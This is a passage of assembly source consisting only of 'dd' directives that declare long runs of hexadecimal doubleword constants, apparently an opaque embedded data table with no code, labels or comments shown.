		dd 86F21503h, 4C0EACFEh, 9BEC629Eh, 0E812A5F5h,	697BF1C4h
		dd 9F9FFDE7h, 1F670FFAh, 15041362h, 1647619Fh, 6408BC61h
		dd 822B8C20h, 22335525h, 2F2C62C3h, 79086C58h, 0F669CE11h
		dd 0ECEB324Eh, 0AEBCFC1Eh, 0BDAC88B1h, 9DD3E1C9h, 8CBD26DCh
		dd 0CE30BD9Ah, 0D6403408h, 8DF392CEh, 0B4FEB0FFh, 8A518E52h
		dd 2962CF2h, 6D8775D9h,	10238A9Eh, 7C2FD3Ch, 21A8F607h
		dd 4B75C19Fh, 0EA370142h, 9DA5DF2Bh, 6527624Fh,	0BCBAC14h
		dd 0FB81F763h, 0B5B20000h, 0F37FEC2Fh, 3ACFA0EAh, 15B5252Dh
		dd 3AEB6FF5h, 84FBD32h,	3A39C72Dh, 3A777BA3h, 0CB26ECE0h
		dd 4A6FAD01h, 0F8EC973Bh, 0E7C07F84h, 5D04AF13h, 3661E219h
		dd 0BED93AD2h, 0B44A5921h, 0E33245A3h, 59EE4265h, 0AAF580h
		dd 532446B1h, 6E3D8EADh, 9E537856h, 58FE8431h, 36BA3C2Eh
		dd 8B9774B1h, 0F97174D7h, 39B3D748h, 0E6F81A52h, 83CDA256h
		dd 0AAD3956h, 0E09EB03Dh, 2699EFC7h, 9A2B460h, 0DE0C5A95h
		dd 2C682F03h, 5AD0C65h,	91705056h, 643AE5ECh, 904F58A8h
		dd 0CD7B5016h, 92EC1588h, 0B5F5D1BAh, 8B18149Bh, 0DDA44E8Bh
		dd 0C613601Ah, 61654D79h, 0E5CCF7DDh, 0F89E18FAh, 2054EA28h
		dd 4CF8BAA0h, 1B5191DBh, 0F84E1B08h, 60E84FC0h,	5A745EFh
		dd 0E9E16C07h, 12A53475h, 2C0799E8h, 0D1F369DAh, 15EE6811h
		dd 0BCB2E3AEh, 0F137619Ch, 0B62F762Ch, 4B9415ECh, 0E0B67FC5h
		dd 8A580A75h, 0B6BE2FFCh, 0CFD54140h, 2A7673h, 6F2D9AA7h
		dd 2C2EC798h, 45C4105Ah, 6555360Fh, 2E0DDD7h, 8C5DC7D8h
		dd 0D5914A60h, 0AEB8B09Ch, 9C9263B7h, 8AD56C55h, 9287738Ah
		dd 293A94DFh, 52C3B693h, 32693D69h, 2DC3C3BCh, 97B1BFB7h
		dd 9A32FA47h, 0D106CEFDh, 83EA6B11h, 0D2C0993Dh, 8D7594Fh
		dd 0F166E4E4h, 0CE3C7C7h, 1C880AA3h, 99642D0Eh,	0FAEC259Fh
		dd 0B2F65EB2h, 975DA8ECh, 33E9E9CAh, 0A2617B2Dh, 11AA7235h
		dd 0B3CC8F84h, 0C27E2C2Bh, 1D7C3E42h, 5A71E068h, 85B24D2Ah
		dd 0C8F8EBB1h, 0EBA4ED0h, 9FAB01FBh, 34DF7C5Dh,	95CE03D5h
		dd 7340F9F8h, 8DBCD7E9h, 0BAB8E9ECh, 84BEEC73h,	0BA9B6218h
		dd 0DB45F447h, 245ADD35h, 45F1CBFFh, 1C3E27DAh,	0C4D01051h
		dd 0A8EF51BDh, 0BF4030Ah, 51F1A714h, 0B11E5A98h, 866485AFh
		dd 7244A56h, 9F245EE8h,	0A5DDD9h, 9050B403h, 571A93BEh
		dd 0C5EB52C6h, 0CF9F57E6h, 65DD0F70h, 18CAF3AEh, 0E224085Ch
		dd 0AE9C7847h, 0CA455B20h, 5B547D9Dh, 6CBD98A7h, 1B89C950h
		dd 34CA8413h, 0BEFAB322h, 557EAFE8h, 27723599h,	7E6B75CDh
		dd 1581A08Fh, 4AF150Dh,	239FABA8h, 0FC6F7DBDh, 432DD00Dh
		dd 33639967h, 4F32A7E1h, 0A28FC3C6h, 0A8F646B9h, 941AEE1Bh
		dd 0CD337C2Ah, 754220EEh, 2FFB9B98h, 268624DCh,	7A4B454Dh
		dd 0BC6F6E50h, 0ACB899A4h, 0E56AAFC6h, 8BB6ADC4h, 0B58A6A6Ch
		dd 0ECDC264Ah, 23CE0727h, 7D4736E2h, 741BD38h, 363F4D3Ch
		dd 8EC3A787h, 15F7EFF7h, 6BE94796h, 0F2C7296Bh,	56679313h
		dd 43EAC450h, 626D90B6h, 7F67A124h, 0A7FC516h, 656D75F6h
		dd 0E0CDCFAFh, 599BE9C3h, 8F7FE251h, 12C8FEC8h,	0DEC17594h
		dd 66F34721h, 0B84251D0h, 0F29BE8FEh, 0ABEE1F5Fh, 0BCBEFD1Ah
		dd 72E1C494h, 0E2B83223h, 79069C0Ch, 0A4B519h, 50750238h
		dd 216AD871h, 6A058599h, 35D62ED6h, 5154F1BDh, 0DA9949F4h
		dd 0C2B62A23h, 0AB46EDA3h, 198E17BBh, 0C5C90345h, 93F8F76Fh
		dd 2BF12973h, 0C0862F78h, 941F1FB9h, 0A17EF7E1h, 0C5D93CDDh
		dd 5286171Eh, 0ECDB48A3h, 1E4284ADh, 0FF3A09CFh, 0E82AFD43h
		dd 34CFBA5Dh, 0FEA7B8A2h, 116519D6h, 0E9378785h, 0B63C2E8Eh
		dd 0AC3B3F8h, 0EC4BA8F8h, 0C5A8178Dh, 0CD0BE27Eh, 802E7EE8h
		dd 0F65ECE12h, 1475FD6Eh, 43A72ECFh, 9CC951Dh, 282AF64h
		dd 0D2CCCF6Ch, 73CBD05Ch, 6BC6A5F4h, 0A0B960B2h, 0F21D43C4h
		dd 0DA04EA7Ah, 0B506CC77h, 0F28C7BC5h, 0C0047D97h, 0CB6AB4AAh
		dd 7965AEB8h, 3768842Ah, 0C43355C0h, 0B489F08Bh, 754F427Eh
		dd 0FBA7D054h, 18E844C8h, 6544C9C3h, 5C0B3E7Dh,	0AB41EEACh
		dd 18A4B9E0h, 0E602FEBh, 257B97ABh, 9E7F851Ah, 6D4EDF7Fh
		dd 0D57ECCB6h, 0F9BEEB04h, 0B8FFBDD5h, 4AD254AFh, 0E815F682h
		dd 4B298BF1h, 4988FAB0h, 5EE4E631h, 0C310ECF0h,	9AE9928Dh
		dd 6C1BC94Bh, 410C1FA0h, 0B53494ACh, 19E46B80h,	5FEA0920h
		dd 0C86B79CBh, 751DDDD3h, 0C51A3807h, 39117982h, 6F6C673Bh
		dd 5214132Ah, 90DF01E0h, 439C7983h, 0DFAA2C8Dh,	52524EB1h
		dd 86B04CF3h, 9F9CE276h, 57A5C86Bh, 6A4B5A8Eh, 1E51EF08h
		dd 437057FAh, 800C9996h, 55CE615Eh, 0ECFB4DE3h,	1EF969AFh
		dd 1C05D4D2h, 0FD55F0B1h, 5BBB410Bh, 970916D6h,	0C1668C2Fh
		dd 0A4E40703h, 0A4923A9Fh, 5B24822Bh, 457C852Eh, 65EB5E5h
		dd 0AE33A308h, 7CF36CF5h, 6B992A8Ah, 0FA139DAFh, 41D38E35h
		dd 57436BFFh, 783C050Eh, 0A473B67h, 0FB7661FBh,	0E70F30A1h
		dd 0EE4E7D48h, 977D2FF2h, 841C0C48h, 0F9F71504h, 0EF7A3550h
		dd 0B0B38312h, 71076F04h, 0AEFA150h, 4BA333CBh,	0CDD4BAD5h
		dd 0B88E3058h, 0C266C3Fh, 2D23861Bh, 27B51AADh,	0B8C974F0h
		dd 7CBBBECBh, 1F9B805h,	5FA961Fh, 0EFF63A7Dh, 0E9135545h
		dd 244BFEB5h, 5267ED55h, 707679DBh, 9598ADF3h, 0A5D947EEh
		dd 3B2EBB1Ch, 1BC34A71h, 9EF07D40h, 0C79EFCF6h,	7AB78084h
		dd 7A794B69h, 33D76A4h,	0A6058674h, 84C95FDh, 9ED30C8Ah
		dd 2E76C455h, 0F1D9C46h, 950CCCEBh, 7F662F2h, 16AFA076h
		dd 430B5545h, 0AEB8E1A2h, 44CEB3D5h, 0F66EC06h,	3A02DCBDh
		dd 0E186C8E2h, 6816D85h, 3DC33101h, 32F15F8h, 0DE24613Fh
		dd 6D599ADDh, 0CE32D4F0h, 749A3D56h, 70C15B7Bh,	0BA30D5CBh
		dd 1F74EBDDh, 2C8B8156h, 2CF63FFh, 1052A03h, 46ABEE05h
		dd 1C54822h, 4753671Eh,	8F465DC1h, 0FA26F3DDh, 987E433Ch
		dd 6E0259BAh, 89BC07DEh, 8348FF14h, 3AA26C4Bh, 4E916076h
		dd 22D3153h, 2ABC09F2h,	6833945Eh, 0B849B606h, 0F7960A01h
		dd 0A742DB47h, 0BCA4F838h, 441017BDh, 34267D51h, 5C4AE5D2h
		dd 0F5433EFh, 67F7647Eh, 0DF335479h, 0AB0347D6h, 8BCAF10Ah
		dd 0D22A08Bh, 0D4CFA6DBh, 0BA385124h, 0DF57A83Fh, 7736FC59h
		dd 9DA46F1h, 0A5F3819Fh, 0FD136E00h, 0E278F8ECh, 0DF7B9E8h
		dd 0EB67DA28h, 6A2C1F74h, 0A06AAE63h, 429BC7EAh, 0E261719Ch
		dd 0F71C134h, 2F296289h, 0DDA86104h, 0AD06BFDCh, 567E26E4h
		dd 0BCCD9A86h, 0CA322F6Bh, 450F1F34h, 0EA71E92Ch, 5B6E5DB1h
		dd 700B7C68h, 0CD492514h, 0FD6675D3h, 9731E522h, 4192C246h
		dd 31639ABBh, 0DD84ADE9h, 0F6664F6Ch, 1D8CA405h, 9912E105h
		dd 88A1E5B7h, 76881C97h, 61CD6C15h, 903A42C0h, 4A0F2191h
		dd 83FD66E2h, 17703EE8h, 231B4FCAh, 24BB3B9Dh, 9E6FD0B5h
		dd 326DF951h, 4721F178h, 0D6F5D944h, 9BAA022Ch,	0DACCFF8h
		dd 2B259CBFh, 0A0A58DC9h, 23C86FD6h, 37370A24h,	9C2AA6CBh
		dd 0B4C76F71h, 4470418Eh, 806ECA82h, 2CB300Ah, 9B294A16h
		dd 0F35C23B8h, 8F51FEA8h, 416C1219h, 2034FE8Bh,	6D294E7Fh
		dd 0C1CA7F48h, 23E00952h, 0F3C42CDDh, 0C3F91324h, 43F36F37h
		dd 953E2BADh, 0B0C68CF5h
		dd 0BEE4B6EDh, 57680E5Fh, 0B1786DA2h, 1DC08742h, 2BE69665h
		dd 520DF874h, 3ECD6C88h, 0F2CB8096h, 0B2B03AD3h, 0A101AF0Dh
		dd 1A633183h, 814CBABEh, 2208722Ch, 91AC7D02h, 5488457h
		dd 8AD95818h, 0B95EDB2Ch, 179429F2h, 6D5B5508h,	86B0DFA2h
		dd 612CB9DCh, 2A01299Bh, 0C6A21AF0h, 0D49FECCAh, 1C3D094Ah
		dd 68CF299Dh, 77C216ADh, 2D4618CDh, 4838C846h, 684A4955h
		dd 3191D0EEh, 2781836Ch, 0B4C67A16h, 0A71FC646h, 3E1F7B49h
		dd 0B2F035F8h, 0E21DA12Bh, 8BC8462h, 69C28617h,	0BF05CE79h
		dd 0C3602E2h, 7140815Bh, 0D444C1D1h, 6E04AD5h, 0F2841FCDh
		dd 0FC1C248Eh, 0AD665B9Bh, 0E5DE4643h, 0DB36CB98h, 24FF497Bh
		dd 40DC940h, 7D767010h,	1E0BD32Fh, 0BAFD0116h, 7FCD42ECh
		dd 4F91B147h, 6C580EFFh, 0E0D5E065h, 86874AC5h,	29B68637h
		dd 694BC220h, 238849D9h, 9FF4371Dh, 0DD59896Fh,	0E8955A3Bh
		dd 94697D28h, 7B599D65h, 0E12F7A18h, 0CCFE9756h, 0BC1D1187h
		dd 0E70BC74Ch, 0EF47CF38h, 0A54CA71Ch, 2C6DF679h, 7437A313h
		dd 3390DC26h, 52CFEF7h,	0FCEDB9B4h, 0D8FE3D8Ah,	97B62B18h
		dd 52AF3B1Bh, 0D7D814E4h, 0EBF78DF6h, 0B4A5A7C3h, 476BC6BFh
		dd 334CC25Bh, 857CBE7Dh, 4DEDB212h, 438DBE43h, 5D6E57CDh
		dd 7AEE9950h, 3955494Ch, 3FEDA378h, 9ABCF370h, 0AF853A5h
		dd 45F58DA0h, 46667370h, 999F14Ah, 0CCF2A4FDh, 0DDE4B3AEh
		dd 0E9AB76Eh, 0FBEA6EAEh, 13198F20h, 0CFD789E4h, 63D588B6h
		dd 8FD545BDh, 0F25C65BEh, 0A5A9D8C9h, 6903EDCBh, 844867F5h
		dd 9A5C67FEh, 0C2D7AE6Dh, 4B50F1EAh, 43AEBC03h,	222E6092h
		dd 3EC5C638h, 176BBEA9h, 0D58660F3h, 83687998h,	26D0D23Bh
		dd 0C47E90E2h, 6F31586h, 0FD02153Fh, 0C9386A91h, 3F2B0475h
		dd 37106068h, 40870747h, 2BCA3F01h, 9E9E4D2Eh, 1EF50CA0h
		dd 0E4DA5606h, 0F622A8DCh, 6BF2314Dh, 0F3708DEh, 0D45CD825h
		dd 68724F10h, 0CF2CD6Eh, 77863197h, 30FAD387h, 0AFFBC10Bh
		dd 65752B69h, 586EF96Ah, 67A7B3DFh, 8B401798h, 0C3AE512Ch
		dd 773F7CA9h, 0BE2D3275h, 0D793278Fh, 1F3CD81Eh, 19344E9Ch
		dd 64A0D597h, 0A0259DBBh, 2E056BC5h, 87BB438Dh,	76A53701h
		dd 0F4D8608Bh, 0EFDEF7B6h, 89CD9E9h, 0B2BB28F7h, 5B678575h
		dd 0EDE34478h, 53650F59h, 6B948EC2h, 0E491A8D6h, 85CFD801h
		dd 911E98C5h, 0BED1ABBBh, 667C800Eh, 5B894906h,	3D1D105Fh
		dd 56515CAAh, 0A93765C9h, 569FABBBh, 0F3C9691h,	39E9AF10h
		dd 0A2E52FF7h, 975B6001h, 0B890E9C8h, 0AC81E909h, 41712DBDh
		dd 0D000E135h, 870306ABh, 0BED331A4h, 119130EDh, 3B80C1BDh
		dd 4B27E69Ah, 2E113E2Eh, 3C0D02FEh, 87B7B4C6h, 13BC227Bh
		dd 0B61DC848h, 0DFF0EC8h, 0D73F2133h, 113FA68Ah, 0E2B2DA1h
		dd 0B57850Ch, 0E3B1987Bh, 0EEF67B38h, 0A6FB40FBh, 0D715586h
		dd 0C57424C2h, 0F551A4D9h, 7E96A0A4h, 9BB9F8C9h, 45DEB832h
		dd 0CC2A025Ch, 0D8A90622h, 3715532Bh, 0AECE5564h, 0F3F36A46h
		dd 70C2AF62h, 0D96C5AA3h, 41284195h, 8909FD95h,	807F9547h
		dd 0E12E0374h, 20EF0B65h, 16943F7Eh, 0DE0EEE47h, 56015C82h
		dd 67E22541h, 5294FED1h, 0AD9F6B1Eh, 1F4564F7h,	975B55Fh
		dd 0C79E290Ah, 0F88A82C2h, 739BA99Ah, 2E47B1D8h, 97A39B10h
		dd 0BFC0EB52h, 297F12E7h, 423B85Bh, 0A56272B9h,	5F9CC724h
		dd 51937303h, 0DD88CA7h, 0F5A9807Ch, 150066E4h,	0C7FCC75Bh
		dd 45AF0CC1h, 1BF6546Fh, 0ECB3ECA5h, 5F84B88Ah,	47A47F75h
		dd 0EEB05861h, 0FA46C3BFh, 0FBE8E8CFh, 6BF1AF12h, 2995819Ch
		dd 323C0F1Bh, 0F212516Eh, 0A6B29B5h, 6E987CB2h,	61A90EE9h
		dd 176CFA67h, 5B94B7BCh, 1F2B4FA0h, 4E4A32B9h, 0C2B597D3h
		dd 6E3383E3h, 0DEC09033h, 28583D06h, 6748ABAFh,	14CDC04Bh
		dd 0AABF6C45h, 1487A7DEh, 0A39E6188h, 0CB6F1B5Eh, 0CC9590BBh
		dd 2DA61558h, 6D734837h, 0A48B2F5h, 4D91906Ah, 0A007BD16h
		dd 5C7542DAh, 0F1CA9089h, 0B63921F9h, 0CBC1E6F9h, 49324D82h
		dd 0B7CCA024h, 13497F8Fh, 0AB6346ACh, 0E1E50635h, 0D679628Dh
		dd 9074C547h, 0DBB0774Eh, 3F7F3615h, 0B038BE5Dh, 0BAAC7612h
		dd 1C69AD43h, 0BED3F3B1h, 1929525h, 0E48530C2h,	94D25C92h
		dd 3C3071E7h, 3C96E8C5h, 17F099ADh, 97AA629Dh, 0C764C1ACh
		dd 3566C69Dh, 0ABD73532h, 0D4DE8BB1h, 0EA18C71Dh, 150E62E0h
		dd 0B646998Dh, 10AB569Ch, 0CDFAE57Bh, 0BCA322D6h, 0F2A245D4h
		dd 649F1ECFh, 0B88854F2h, 90E452A4h, 4513FF4Dh,	3C76E708h
		dd 16AB3312h, 401D570h,	4535475Eh, 8EC27B8Eh, 0DBD11984h
		dd 23376549h, 7AB54354h, 0C6681122h, 0B01C2D71h, 85028360h
		dd 0D77019C8h, 0DA1C86D0h, 0C39993AEh, 7D19F3Fh, 0E685D832h
		dd 6ADF08FCh, 9AEA3A8Ah, 418A56CEh, 0A4DF781Bh,	0DA7E5946h
		dd 0E7084269h, 7E021BE4h, 4B175838h, 4F107931h,	0FAA4A8FFh
		dd 0B55DC285h, 951755E1h, 0E01D2027h, 8298892Fh, 0B26D7076h
		dd 0D2A083E3h, 642AD56Ah, 8E5D3A26h, 0C6C32B3Ah, 2D19C85Fh
		dd 693F2C12h, 9C8D0D7Eh, 7DD02C02h, 89335E40h, 292C558h
		dd 82C1E529h, 0E13461Ah, 4054DF60h, 0A9EC54F9h,	0B111F433h
		dd 932E5545h, 9AC3D0B8h, 34E48FB2h, 0D7598001h,	79F952D5h
		dd 2527551Eh, 0CD242E99h, 35AD5A08h, 0A766DCDEh, 5671B910h
		dd 487A6A13h, 4C3E099h,	4BE4F2F2h, 79CEE0C2h, 293378FBh
		dd 0AFB88h, 192097FEh, 0FE2F5778h, 70831D9h, 4EC319C0h
		dd 9B9136F0h, 0C2802D71h, 23B5AB6Ah, 0AC4A4F28h, 0B74A8248h
		dd 0A2433E9Fh, 0BA7783BEh, 85F05F3Dh, 66954134h, 38391EF1h
		dd 0D85A79A2h, 0D30E5356h, 5785DD66h, 4F8C4BCh,	3E4147DDh
		dd 173406FAh, 0AC7F0A1Eh, 26F4EBCBh, 0A238CB8Fh, 3CE28DBAh
		dd 0ED82FF93h, 72983095h, 8DF9572Ah, 241B803Bh,	0E2926ACDh
		dd 10427C6Bh, 8C165B30h, 8C8BD498h, 49673391h, 91458D70h
		dd 4AC80097h, 1AA1FC7Fh, 0EB47DAAFh, 0C56D459h,	0B406BE76h
		dd 7FA72A4Dh, 9E6D3658h, 0EB50FF9Ch, 0F1421490h, 9BFFF152h
		dd 8FF15642h, 3ACCB004h, 4BF95EE3h, 144859A4h, 5DE5596Fh
		dd 120BD884h, 8D3FB6ECh, 9EC05766h, 195883CAh, 0ECBAA1C7h
		dd 7991990Eh, 3A61A337h, 27A750CCh, 0C49D3D9Eh,	8872E6A0h
		dd 87352F6Fh, 0C5956DD5h, 913E871Dh, 2D169104h,	0B61DF66Eh
		dd 4F34385Bh, 44E77336h, 37EE3EFFh, 0EF39D12Eh,	5DC10B89h
		dd 75DAE1F3h, 4BE3F009h, 2C365546h, 65FD0EAh, 54849503h
		dd 82937CA4h, 9B4D9194h, 11CFEF95h, 0D201492Bh,	357162B1h
		dd 0A7FAA9B9h, 2FB45D8Dh, 54404E5Ah, 0D56687A1h, 6636D182h
		dd 0D5267CEDh, 79C39460h, 0E8C4804Dh, 958BBA5Fh, 40F31E7Ch
		dd 0BC405A40h, 0AC4AF0B1h, 8ED61228h, 2BC05390h, 0C5BFCD14h
		dd 0E926A886h, 70BBCD6Bh, 706BBC9Ch, 0DCAEBC1h,	409CA1DAh
		dd 4715F78h, 0A6019E56h, 2528807Ch, 0E93E8C8Ch,	96AA527Eh
		dd 0AA2A05A8h, 9638C5E8h, 9328681Ch, 0B33260FCh, 110CA0BAh
		dd 0B7BBDEAEh, 7BCBA0C7h, 2AC161A9h, 0BE84D947h, 0F24A2D14h
		dd 8445539Dh, 1B6BDE60h, 9EABFC00h, 25EA3E8Ah, 3AE97AB6h
		dd 0B5EC7AB5h, 12DFB6D4h, 55D182B0h, 7AFF0681h,	0EFA79054h
		dd 0FDE2433Fh, 48F08AD6h, 0CAF75AF0h, 0F62362ECh, 741CBA89h
		dd 6C89665Dh, 4624B07Dh, 84D1B606h, 14268909h, 105502D3h
		dd 0BD46A672h, 35165EC7h
		dd 79219D28h, 899C04AFh, 0DA49E318h, 55B3F75Fh,	2E97EF38h
		dd 208BEEEBh, 3DA34D22h, 9A0EB84Eh, 0E4887E66h,	0B7C39CD8h
		dd 0BC6D5C61h, 0C63063B3h, 67187E0Fh, 1E47EEF0h, 1266B727h
		dd 47CBAD9Dh, 625DE5F5h, 675AF6EBh, 0E066691h, 52481FE6h
		dd 0B6AEE7E5h, 67F2FA48h, 1E495E1h, 0D7B19581h,	51D8A4BFh
		dd 6EF90DB3h, 5302F0BAh, 552756BFh, 48BFDED9h, 0FA217A57h
		dd 88D2D5B3h, 8FBA3789h, 5443CC7Fh, 0AEDD8212h,	1C759EA4h
		dd 0A3B4763Bh, 0AB3C6C57h, 26E792DBh, 6AF0CFFAh, 0EE9E83B4h
		dd 88C72249h, 0A9C04207h, 0F6F6D715h, 178CD39Ch, 6691E896h
		dd 0B9005DFFh, 0B7538F4Ah, 14FF39B7h, 0F87D4C1Ch, 57CD9913h
		dd 1BACBE57h, 0C9C000EEh, 35F8EA51h, 0BEB220D8h, 53A41A5Ch
		dd 20AF2FF7h, 3E6B2E9Bh, 0A48C5C82h, 0D5CC77Fh,	62A8BED5h
		dd 5BBB1834h, 0FE72F534h, 6704C4D1h, 0BA58CD93h, 0E156F6A4h
		dd 9E11A939h, 3FA4BA9Ah, 68D6411Dh, 0BB7F0766h,	4C588936h
		dd 6C91A774h, 7F2E0F9Bh, 47D8F12Ch, 0AEA0A70Ch,	53779F8h
		dd 0E9969C19h, 0E01CACA7h, 0BC00D02Bh, 0B3571526h, 9C6EDB0Eh
		dd 26D65BADh, 27A44F56h, 31C648AAh, 92739D1Eh, 0FC8246AEh
		dd 78FC1DCFh, 1314F1AAh, 9E87823Fh, 4B5F56D9h, 5CA65E49h
		dd 0E2017C56h, 0C48758B3h, 0C06EF5DDh, 0D2A982BDh, 701294A4h
		dd 228E60A5h, 0F9CC645h, 3E79BA54h, 0D1C5B2BFh,	0B5636A7Bh
		dd 877FCBA5h, 5A373EE1h, 5D5A7F94h, 454B6D59h, 4D4E4FC6h
		dd 0F39B392Fh, 9AD00AF9h, 0ED4FC3D1h, 680737C2h, 8AC1682h
		dd 0C3A7D6BEh, 2141B14h, 62D1A467h, 963FF3AEh, 0ACB797A1h
		dd 0EB3A40F9h, 854E0607h, 1EE8DE69h, 2584A4D5h,	0B6A2F526h
		dd 702CF813h, 7724B22Fh, 0E8A4A6BAh, 0DF52B1F8h, 6B5C078Bh
		dd 9839ADADh, 1BD965ABh, 4A6DDBC6h, 39853D65h, 0D6502965h
		dd 4981A30Dh, 2E4DE4Fh,	496581D4h, 0C26ECAD2h, 0C7236202h
		dd 3E51BCA7h, 903CCE0Fh, 5D8A7D96h, 115FA10Dh, 9E4057B9h
		dd 3A643479h, 0BD641151h, 0E2500F6Eh, 0B76FF143h, 0AB9BE71Fh
		dd 2E9BEE97h, 21C8726h,	7C4DC82h, 60406AC5h, 593FCF73h
		dd 0EE1EF77h, 3887DC2Ch, 2742318Ch, 71F2A428h, 4F833A68h
		dd 1D68B569h, 0BFFE7081h, 9500EC5Ch, 6EDFBA5Ah,	761A60D5h
		dd 0B5D7DF4Eh, 0D1A9EEE0h, 4C56CEC5h, 5E5365DEh, 6DF3163Dh
		dd 9F71C5F9h, 59B7BF0h,	1D4B4FC4h, 0B3B31A2Bh, 0EDBDAE56h
		dd 8BD3D575h, 4C6EC646h, 0FD727332h, 0EE1F0C55h, 97CDE8E5h
		dd 0DB40C5E0h, 0D86079F6h, 0C6CAF6C9h, 9248E529h, 455D4B6Eh
		dd 0BF449294h, 0EF62DFAEh, 0C1A5EBDCh, 14203822h, 55899971h
		dd 4D30287Eh, 0F395195Fh, 0B85F9D00h, 0D83A40C4h, 0B5DF79A8h
		dd 4C93D346h, 0F58D47Dh, 7088969Fh, 5441C9C2h, 19A163A5h
		dd 0BA88F4F8h, 0D81A20FDh, 9074965Bh, 52D4B178h, 0D64ACAD3h
		dd 0D372661Dh, 3E77647Dh, 8774A72Fh, 29FC0EAh, 78EBE32Bh
		dd 2648E5ABh, 3B4C7918h, 68626EB3h, 0ED0DDC1Dh,	0B2E6FF11h
		dd 8295FA41h, 5B93670Ch, 0BA9B265Fh, 28FF5F66h,	0DF836025h
		dd 80436542h, 0E3E047BCh, 0B7ECE3A8h, 0E1BF8405h, 204C2228h
		dd 5A9B31C2h, 0BE48B3B7h, 0F704CEDFh, 911EA077h, 0EB303B0Ch
		dd 40226306h, 4C4028FDh, 70FBD426h, 0A7363069h,	444BB179h
		dd 2D6E51E0h, 0D509EF24h, 87E039ECh, 3E47ECAEh,	0E96734DAh
		dd 0F2BDDEE5h, 4E45C599h, 0A401B3D1h, 0C450BCCDh, 469121C2h
		dd 0DE8CA747h, 0D39EC0h, 207ABE68h, 8FB6A781h, 71988281h
		dd 0AFFCB698h, 0CF2E8657h, 26A9870Eh, 0CC4615C8h, 7D6553EBh
		dd 349ABFAh, 91178941h,	12DBC454h, 0C766712Ah, 30547B7Ch
		dd 127A74BFh, 79C00BA4h, 3A4F117h, 0E13233A9h, 0DD7BDFBh
		dd 0ED44CCBBh, 0A8C98DAEh, 705A465Ah, 0C6EF3F7Eh, 0D00FCDC4h
		dd 4C910F40h, 20E25E97h, 1A46D061h, 1023BF8Ah, 43819687h
		dd 9D91EA06h, 0B6A07822h, 0E0EFE504h, 0A5969A38h, 3249C7E6h
		dd 3184E60Ah, 63FD3DBEh, 32AE3FC6h, 823D7625h, 36D82FFFh
		dd 98A75030h, 810E85EEh, 0E862A85Bh, 5EDA2495h,	39F7C105h
		dd 4C563F82h, 33A14E74h, 2EA7969Ch, 1AF97A3Bh, 7A7352E7h
		dd 6C89A890h, 0E8FC1BCDh, 0F3B6E2D1h, 0F983636Ah, 0ED117A58h
		dd 2888133Ch, 0FBAB43BFh, 0B21841CCh, 89C4746Eh, 6D60DEB3h
		dd 0FC0AD317h, 3B1856D3h, 48E8C071h, 0CFEC08C8h, 0CB58286Bh
		dd 46658209h, 5D7BC23Ah, 5DF260FAh, 0EECDE34h, 0A54ED644h
		dd 1D7BD33Bh, 7F6965A2h, 7FB600h, 0FC3664ADh, 0A55BE712h
		dd 1CC942Bh, 0D1ACF6A3h, 308A156Ch, 63118B37h, 512D8795h
		dd 1DC66B43h, 928912BFh, 9E9B8919h, 887DEC27h, 52E31BB7h
		dd 59E7F69Fh, 39516B75h, 9B036933h, 0CE9BE263h,	0A4F7D526h
		dd 3691C636h, 0FDB7513Ah, 45B3DA75h, 0C0DFF23Eh, 0EC077B5Ah
		dd 3AC8DF7h, 2390A88Bh,	0F0789CA4h, 31ECC4CDh, 0DEA9E380h
		dd 0A714EBFFh, 0AF148143h, 43712EBFh, 5007CC3Ah, 5D3D4C23h
		dd 62E18F9Eh, 1BB02E21h, 80FC9DEh, 65A164F5h, 0C6A0669Ah
		dd 0DA2F5E84h, 0CC7E76Ah, 0ABD66AE3h, 0F29DDC79h, 95064477h
		dd 53AF92Ah, 35A64BEh, 0F133E472h, 0E3808737h, 2A5159F1h
		dd 5EC51E58h, 0C8B6ED11h, 0A217CA75h, 745B2C3Ch, 0DFEE5DF2h
		dd 53C18674h, 0CC681A8Ah, 0EE6DB9F4h, 4BE4D80Ah, 0E2A60EF5h
		dd 42959A55h, 0B1B1B0D6h, 0F9A78E42h, 7A5C00DDh, 26180CAFh
		dd 0A092620Dh, 843767C3h, 6B027968h, 3B3EE700h,	0B34F8370h
		dd 0B7A3152Ch, 802FD834h, 0CAA83C43h, 54FA4989h, 50DC7937h
		dd 2A71D68Ch, 0E973A444h, 60D814D6h, 0ED9785BFh, 81BD4A87h
		dd 6059D135h, 37C8FC78h, 818A3735h, 0E7A9BCD7h,	922A3C11h
		dd 8C0E1BF6h, 0AEDCF9BCh, 3FA10ED8h, 0EF383022h, 3F986D4Bh
		dd 4C2688B8h, 63757217h, 7EEEAF77h, 0BC44416Dh,	559A8811h
		dd 32AF8887h, 40CB99BCh, 0FD718F92h, 63C9EA32h,	5562C8E9h
		dd 0CD840822h, 1D3A5A34h, 6FD6E5D9h, 3E804485h,	3D6B9177h
		dd 300BCCA6h, 6CD6A684h, 0D1553C2Dh, 4C7441AEh,	18D0C5BEh
		dd 0DFEC86Ah, 20C57145h, 3082690Bh, 46CB8DE6h, 0ED62FDECh
		dd 0E2D69225h, 0DFC8E86Eh, 545E1DDBh, 69355161h, 1DA7AFCDh
		dd 0FBD07A57h, 9880C5B6h, 894850E0h, 85454B67h,	43E29FDEh
		dd 0EA0F0AE6h, 0EF3DCECh, 4A8635B9h, 642AF99Eh,	10EE7664h
		dd 188677A6h, 1ADA14FEh, 874CF089h, 8663C6C3h, 5C09691Ch
		dd 10A0AE98h, 19A342F3h, 0AE0E61F9h, 28EAB616h,	13599B8Fh
		dd 0DD94D2E3h, 9F7F04F0h, 96D40151h, 8A37D0D2h,	5C1C42B7h
		dd 946C9E9h, 158E707Ah,	274F9C9h, 8BEF259Ah, 154D2014h
		dd 9B376FA9h, 6F4650D0h, 9483444Bh, 0E68BE1F0h,	9DC11B19h
		dd 9109751Fh, 14E7BBBAh, 893DCE29h, 4D4FB1AAh, 469F2F33h
		dd 622BCC63h, 3B2EF7B4h, 7F2ED797h, 133C6B63h, 0F96993Ah
		dd 554D2A40h, 0FF4FEB05h, 0A50FA91Ah, 72465CB6h, 266C9EBFh
		dd 5644824Ah, 9F45A89Bh, 362B807h, 46F5A3A8h, 0C3D28982h
		dd 62A402A4h, 3C52B9Fh,	9FD21A43h, 0B658A9D4h, 4720FF7Eh
		dd 0AAA66A93h, 3592E165h, 99BCD510h, 8D871ACDh,	6269EA5h
		dd 0E5D9A0F0h, 72E924A0h, 0A910C7AFh, 0BB0BA73Bh, 94DD0520h
		dd 501495EBh, 28BD5133h, 48ED417Fh, 396A2693h, 0ED0C8E0Eh
